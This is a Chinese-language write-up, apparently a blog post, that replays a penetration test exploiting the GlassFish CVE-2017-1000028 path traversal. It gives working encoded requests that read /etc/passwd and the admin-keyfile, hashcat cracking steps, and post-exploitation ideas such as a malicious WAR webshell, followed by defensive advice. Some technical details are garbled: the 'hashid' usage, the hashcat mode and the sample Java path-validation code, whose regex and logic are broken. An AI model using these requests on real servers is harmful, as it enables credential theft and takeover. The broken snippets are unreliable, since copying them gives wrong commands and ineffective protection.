从一次内部攻防演练说起:我是如何利用CVE-2017-1000028漏洞“捡到”GlassFish管理员密码的
实战复盘GlassFish任意文件读取漏洞的深度利用链那是一个普通的周二下午我正在为客户做内部网络的安全评估。按照惯例我先用Nmap对目标网段进行扫描突然在扫描结果中发现了一台开放4848端口的服务器——这个端口号让我瞬间警觉起来因为4848正是GlassFish应用服务器的默认管理端口。1. 目标识别与初步侦察GlassFish作为一款开源的Java EE应用服务器在企业内部环境中并不罕见。但将管理界面直接暴露在内部网络中往往意味着潜在的安全风险。我决定先对目标进行指纹识别curl -I http://target-ip:4848返回的响应头中清晰地显示了服务器信息Server: GlassFish Server Open Source Edition 4.1.2 X-Powered-By: Servlet/3.1 JSP/2.3这个版本号立即让我联想到CVE-2017-1000028漏洞——一个经典的任意文件读取漏洞。为了确认漏洞存在的可能性我快速查阅了漏洞影响范围漏洞编号影响版本漏洞类型CVE-2017-1000028GlassFish ≤4.1.2任意文件读取2. 漏洞原理深度解析这个漏洞的本质是Java对UTF-8编码的特殊处理机制。正常情况下URL中的路径分隔符应该是正斜杠(/)但Java会错误地将特定编码序列解析为路径遍历字符%c0%af→\uC0AF→/(正斜杠)%c0%ae→\uC0AE→.(点)这种编码转换的深层原因在于Java的UTF-8解码器实现。当遇到%c0%af这样的双字节序列时二进制表示为11000000 10101111去除UTF-8前缀110后得到00000 101111转换为十进制47对应ASCII码中的正斜杠利用这个特性我们可以构造特殊的URL路径实现目录穿越http://target:4848/theme/META-INF/..%c0%af..%c0%af..%c0%afetc/passwd3. 漏洞利用实战过程3.1 初始探测我先尝试读取系统的基础文件确认漏洞存在GET /theme/META-INF/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd HTTP/1.1 Host: target-ip:4848当看到返回的/etc/passwd文件内容时我知道这个系统确实存在漏洞。但作为安全评估我需要获取更有价值的信息。3.2 关键文件定位GlassFish的管理密码存储在特定位置glassfish/domains/domain1/config/admin-keyfile我构造了如下请求来获取这个关键文件GET /theme/META-INF/..%c0%af..%c0%af..%c0%af..%c0%afdomains/domain1/config/admin-keyfile HTTP/1.1 Host: target-ip:4848返回的文件内容格式如下admin;{SSHA256}DqA5sL7QJ8gV2Np1XwYz9xKbRtHjMlP3OiUvEeWc...3.3 密码破解策略GlassFish使用SSHA256算法存储密码哈希这是一种加盐的SHA-256哈希。我采用了以下步骤进行破解使用hashcat识别哈希类型hashid -m DqA5sL7QJ8gV2Np1XwYz9xKbRtHjMlP3OiUvEeWc...准备破解命令hashcat -m 1410 -a 3 hash.txt ?a?a?a?a?a?a最终在8小时后成功破解出明文密码提示在实际评估中建议使用更强大的字典或组合规则来加速破解过程4. 后渗透与风险扩大获取管理员凭证后登录管理界面(http://target-ip:4848)只是第一步。真正的风险在于后续的攻击链应用部署通过上传恶意WAR包获取Webshell数据访问查看部署的应用配置和数据库连接信息横向移动利用服务器作为跳板访问内部其他系统下表展示了GlassFish管理界面常见的高风险功能功能模块潜在风险安全建议Applications恶意应用部署严格审核部署包Resources数据库凭证泄露加密存储配置Configurations系统设置篡改定期审计配置5. 防御措施与最佳实践基于这次评估经验我总结了以下防护建议版本升级立即升级到GlassFish 4.1.2以上版本网络隔离管理界面不应直接暴露在网络中密码策略强制使用复杂密码并定期更换日志监控密切监控异常文件访问行为对于开发团队我建议在代码层面增加以下防护// 示例安全的路径校验方法 public static boolean isValidPath(String path) { return path.matches(^[a-zA-Z0-9_\\-./]$) !path.contains(..); }这次评估最让我印象深刻的是一个看似简单的文件读取漏洞配合弱密码策略最终可能导致整个系统沦陷。安全防御需要层层设防任何一个环节的疏忽都可能成为攻击者的突破口。